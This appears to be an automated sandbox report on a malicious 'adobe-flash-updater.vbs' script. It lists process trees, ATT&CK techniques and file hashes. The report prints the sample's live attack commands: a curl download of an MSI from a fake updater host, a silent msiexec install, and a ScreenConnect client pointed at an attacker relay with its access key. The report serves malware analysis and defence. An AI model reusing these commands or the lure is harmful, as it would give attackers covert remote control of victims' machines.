Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4232	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2360	msiexec.exe
2536	msiexec.exe
2556	MsiExec.exe
4772	MsiExec.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 2152	2784	WScript.exe	87
PID 2152 wrote to memory of 4232	2152	wscript.exe	88
PID 4232 wrote to memory of 2172	4232	msedge.exe	89
PID 4232 wrote to memory of 5136	4232	msedge.exe	91
PID 4232 wrote to memory of 2672	4232	msedge.exe	92
PID 4232 wrote to memory of 2672	4232	msedge.exe	92
PID 4232 wrote to memory of 3444	4232	msedge.exe	93
PID 4232 wrote to memory of 3444	4232	msedge.exe	93
PID 4232 wrote to memory of 3444	4232	msedge.exe	93
PID 4232 wrote to memory of 2768	4232	msedge.exe	94
PID 4232 wrote to memory of 2768	4232	msedge.exe	94
PID 4232 wrote to memory of 2768	4232	msedge.exe	94
PID 4232 wrote to memory of 1460	4232	msedge.exe	95
PID 4232 wrote to memory of 1460	4232	msedge.exe	95
PID 4232 wrote to memory of 1460	4232	msedge.exe	95
PID 4232 wrote to memory of 3804	4232	msedge.exe	96
PID 4232 wrote to memory of 3804	4232	msedge.exe	96
PID 4232 wrote to memory of 3804	4232	msedge.exe	96
PID 4232 wrote to memory of 5364	4232	msedge.exe	97
PID 4232 wrote to memory of 5364	4232	msedge.exe	97
PID 4232 wrote to memory of 5364	4232	msedge.exe	97
PID 2152 wrote to memory of 4472	2152	wscript.exe	98
PID 4232 wrote to memory of 3132	4232	msedge.exe	100
PID 4232 wrote to memory of 3044	4232	msedge.exe	101
PID 4232 wrote to memory of 3132	4232	msedge.exe	100
PID 4232 wrote to memory of 3044	4232	msedge.exe	101
PID 4232 wrote to memory of 3044	4232	msedge.exe	101
PID 4232 wrote to memory of 940	4232	msedge.exe	102
PID 4232 wrote to memory of 940	4232	msedge.exe	102
PID 4232 wrote to memory of 940	4232	msedge.exe	102
PID 4232 wrote to memory of 3288	4232	msedge.exe	104
PID 4232 wrote to memory of 3288	4232	msedge.exe	104
PID 4232 wrote to memory of 2408	4232	msedge.exe	105
PID 4232 wrote to memory of 2408	4232	msedge.exe	105
PID 4232 wrote to memory of 3704	4232	msedge.exe	107
PID 4232 wrote to memory of 5040	4232	msedge.exe	108
PID 4232 wrote to memory of 5040	4232	msedge.exe	108
PID 4232 wrote to memory of 1712	4232	msedge.exe	111
PID 4232 wrote to memory of 1712	4232	msedge.exe	111
PID 2152 wrote to memory of 2360	2152	wscript.exe	112
PID 2536 wrote to memory of 2556	2536	msiexec.exe	114
PID 2556 wrote to memory of 4176	2556	MsiExec.exe	115
PID 2536 wrote to memory of 4772	2536	msiexec.exe	116
PID 5264 wrote to memory of 1060	5264	ScreenConnect.ClientService.exe	118
PID 4232 wrote to memory of 4844	4232	msedge.exe	119
PID 4232 wrote to memory of 4656	4232	msedge.exe	120
PID 4232 wrote to memory of 2532	4232	msedge.exe	121
PID 5264 wrote to memory of 5952	5264	ScreenConnect.ClientService.exe	122
PID 4232 wrote to memory of 4148	4232	msedge.exe	124
PID 4232 wrote to memory of 4148	4232	msedge.exe	124
PID 4232 wrote to memory of 3872	4232	msedge.exe	128
PID 4232 wrote to memory of 3872	4232	msedge.exe	128
PID 4232 wrote to memory of 3012	4232	msedge.exe	129
PID 4232 wrote to memory of 5752	4232	msedge.exe	130
PID 4232 wrote to memory of 5752	4232	msedge.exe	130

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe-flash-updater.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe-flash-updater.vbs" /elevated
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://flash-updater.vercel.app/doc/dhl-waybill.pdf
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x36c,0x7fff0053c188,0x7fff0053c194,0x7fff0053c1a0
      4⤵
      PID:2172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1900,i,5943982276154402765,4545786254307436216,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:11
      4⤵
      System Time Discovery
      PID:5136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2472,i,16676383401097206756,13765221528523373927,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:13
      4⤵
      PID:2672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1600,i,16592353836985104060,7527694698661921718,262144 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:2
      4⤵
      PID:3444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,8864603764384060199,15143085431817636140,2097152 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
      4⤵
      PID:2768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3668,i,16324897397989081884,9805798904781119447,2097152 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
      4⤵
      PID:1460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4236,i,11855574418440828835,5959268103379868378,2097152 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=4960 /prefetch:1
      4⤵
      PID:3804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4248,i,5670414372027685124,6651665459332802341,2097152 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:9
      4⤵
      PID:5364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3760,i,1054981388494111540,1255205031402112612,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:14
      4⤵
      PID:3132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3784,i,13850372749032263833,4315103487804040235,2097152 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:9
      4⤵
      PID:3044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5676,i,974531071445386329,7762426962896318720,2097152 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:15
      4⤵
      PID:940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5432,i,1369968520309984781,121464878652339681,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:14
      4⤵
      PID:3288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5448,i,4410410311134072177,16523891092880050244,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:14
      4⤵
      PID:2408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,6295588886753892280,13464764073219207577,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
      4⤵
      PID:2872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,6295588886753892280,13464764073219207577,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
      4⤵
      PID:3704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6600,i,11084228697234008795,11770161378361089868,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=6540 /prefetch:14
      4⤵
      PID:5040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6996,i,3754194713197574929,6788466179367816067,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=7000 /prefetch:14
      4⤵
      PID:1712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5068,i,16242199830649719980,17311266321263620313,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=1288 /prefetch:14
      4⤵
      PID:4844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5024,i,6894982017276989373,3358064693689968930,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:14
      4⤵
      PID:4656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4380,i,380097558973355087,3389278554320011857,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:14
      4⤵
      PID:2532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,18154600450110177664,8235063131900812410,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:14
      4⤵
      PID:4148
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5408,i,3680077273453876113,5663198337647978333,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:14
      4⤵
      PID:3872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5408,i,16261132164986760052,8621989229313197933,262144 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5124,i,449030264446402848,3340303569702664323,524288 --field-trial-handle=2276,i,12771104416053215865,6191178555362032439,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:14
      4⤵
      PID:5752
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" -s -L --fail -o "C:\Users\Admin\AppData\Local\Temp\updater.msi" "https://flash-updater.vercel.app/doc/sc.msi"
    3⤵
    PID:4472
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\updater.msi" /qn /norestart
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2360

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2036

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1848

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5C5EA185D4D7218BDC7E7A31E0333EEA
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI3704.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240728031 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4176
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A53EFD73E64C6E4C04CEA7A4521EBF9B E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4772

C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.gamedbd.com&p=8041&s=c938e0ee-4772-4643-8f45-d17b30fbd507&k=BgIAAACkAABSU0ExAAgAAAEAAQDZ%2b9VnLfivKwJVHeHqyKSNy%2bEDvUIdL7XvGZ1d8KYIeMI9NW8EJjq01exlTSHNf0rCmMzkqmDK72qTjm8ZVI3jUvw1K%2fBBJdNDknbd4tQP7pCHvBTzjaBYPmk2%2bSaknS5IVgbN3d%2bWapf1epWcqgK27Z5t1rMwh9CdDkFBxYn3faTEl3OAHaAZbuRJym6VlnJrd%2fm979ZYM%2bXjMazd091q30N8rcjUV4PZ9fNkiQziwG55Qq91xLhNHvKfWRyOnK6%2foJhF8MPiB10xiGj%2b0Yh8DPiz%2b%2fO9ZLir%2bkbe6UmU4%2fdesurofmCDbE%2bOyBtv37pc4B2GwbALdta99%2fg1oEDm"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5264
- C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe" "RunRole" "96103064-4580-4766-95a8-bc3ceb5efe75" "User"
  2⤵
  - Executes dropped EXE
  PID:1060
- C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe" "RunRole" "bc6f0fab-7da1-487f-b1eb-102d55424d4a" "System"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:5952

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e593477.rbs

Path C:\Config.Msi\e593477.rbs
Size 214KB
SHA256 4bdb3dc1696a41f3abb3920fbb6cc2f2e361a54123b53f4219d1ae0a1736f965
MD5 31bba251b5b98a5abc7650e0a48593a9
SHA1 5a4dd61d4da99ba552580b1bb0f3594202312f83
SHA512 23e395c2ed2d5a00e562f2eee531cc5272c6ee0e629214749fd41c467969f754deacc562150fa86369eecc9443d2594ebe5780322a21fd3e9c9c1406eebacd3b
SSDEEP 3072:zm9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGX:zmuH2aCGw1ST1wQLdqvX
TLSH
T1CD248C217480847EE7FA1A32DD3E9A21BE3DF6641760C59EC3848C1E5DA04C16BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.Override.en-US.resources
Size 316B
SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
MD5 4245d329250f796f38de89c21a4f1c56
SHA1 484d49093ad9bf5f82de4cd21ea77b9e598ea2f1
SHA512 4e0b394bc0dbde3beab8624e7b930ba3e72ec0502fdeab570982815897b0f5cbba3a52c3876ed9287e1a9a1efd7d5627701b57201bcd64e838456a19cdf18cab
TLSH
T11EE0C22303BE01BAE9735F77A4BCA5921233ED189524982D8818026C5EB23538B92B73
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.Override.resources
Size 456B
SHA256 be412089757f8b2c7823337c35951dcf79c3a2c01493f66ceb01e7cd1576e1e9
MD5 ca71012248019e93ca8f1c4805348138
SHA1 cd03d51915b54fce5f829396d5e0f7f455257cb4
SHA512 b8dfad407229787c6538cb486ae22a99eee0493f30a7d02048343e605682bb95155bdc1a4cd81863d1d523fa57e76a25a202ab074c89620925ec3e957b0b0055
TLSH
T13FF0E51F76ED2A71D0B22736688F74816F7FBE1D403444A9A485801C0A63D0E1D81737
MD5 SHA1 SHA512 TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.en-US.resources
Size 48KB
SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
MD5 d524e8e6fd04b097f0401b2b668db303
SHA1 9486f89ce4968e03f6dcd082aa2e4c05aef46fcc
SHA512 e5bc6b876affeb252b198feb8d213359ed3247e32c1f4bfc2c5419085cf74fe7571a51cad4eaaab8a44f1421f7ca87af97c9b054bdb83f5a28fa9a880d4efde5
SSDEEP 1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
TLSH
T13D331D1277FD0A18F5F36F45BE7A94619937BC6A2E25C06F1028855E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.resources
Size 26KB
SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
MD5 5cd580b22da0c33ec6730b10a6c74932
SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
TLSH
T10BC2D0CA33BDED98E77E63BB7DE840701737BB017D6192126C060411613528AAEA8F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.Client.dll
Size 192KB
SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
MD5 3724f06f3422f4e42b41e23acb39b152
SHA1 1220987627782d3c3397d4abf01ac3777999e01c
SHA512 509d9a32179a700ad76471b4cd094b8eb6d5d4ae7ad15b20fd76c482ed6d68f44693fc36bcb3999da9346ae9e43375cd8fe02b61edeabe4e78c4e2e44bf71d42
SSDEEP 3072:/xLtNGTlIyS7/ObjusqVFJRJcyzvYqSmzDvJXYF:FtNGTGySabqPJYbqSmG
TLSH
T1DD144B8633A94E36DA9F5D73B46060358AB5ED066023E3EE5E04F9F61A733408E553E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.dll
Size 66KB
SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
MD5 5db908c12d6e768081bced0e165e36f8
SHA1 f2d3160f15cfd0989091249a61132a369e44dea4
SHA512 8400486cadb7c07c08338d8876bc14083b6f7de8a8237f4fe866f4659139acc0b587eb89289d281106e5baf70187b3b5e86502a2e340113258f03994d959328d
SSDEEP 1536:+A0ZscQ5V6TsQqoSD6h6+39QFVIl1zJhb8gq:p0Zy3gUOQFVQzJq
TLSH
T1C2634A45A3E95E77C9DF5F7C7865B1410FB08A02E462FB989CC9A8D71A537C12E003AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
MD5 75b21d04c69128a7230a0998086b61aa
SHA1 244bd68a722cfe41d1f515f5e40c3742be2b3d1d
